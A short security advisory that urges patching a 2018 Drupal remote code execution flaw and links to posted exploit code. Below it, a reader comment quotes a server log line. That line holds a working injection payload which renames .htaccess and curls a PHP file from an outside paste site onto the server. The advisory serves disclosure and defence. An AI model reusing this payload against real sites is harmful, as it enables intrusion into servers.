Yet Another Drupal RCE Vulnerability
Last Updated: 2018-04-26 12:32:13 UTC
by Johannes Ullrich (Version: 1)
Drupal today released another patch addressing a remote code execution vulnerability. According to the advisory, the vulnerability is related to the issue patched about a month ago, but this variant has not been exploited yet. Please patch ASAP!
An exploit for the vulnerability has been posted to pastebin  . This exploit does require authentication.
With the March update, Drupal added a global sanitation function. This approach is often difficult to implement correctly. It is very difficult to sanitize and validate data before it is clear how it is being used, in particular if this is done for an existing and complex application like Drupal. We will see how this will work for Drupal in the long run.
 https://pastebin.com/pRM8nmwj . (leads to exploit code)
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
it works just fine on a drupal 7.59 site.
/logs/access_log:188.8.131.52 - - [20/Jun/2018:10:49:49 -0400] "POST /?q=user/password&name[%23post_render]=passthru&name[%23type]=markup&name[%23markup]=mv+sites/default/files/.htaccess+htaccessx;curl+-o+sites/default/files/installer.php+'https://hastebin.com/raw/ekacocutup.php' HTTP/1.0" 200 14857 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31"
Jun 20th 2018
4 years ago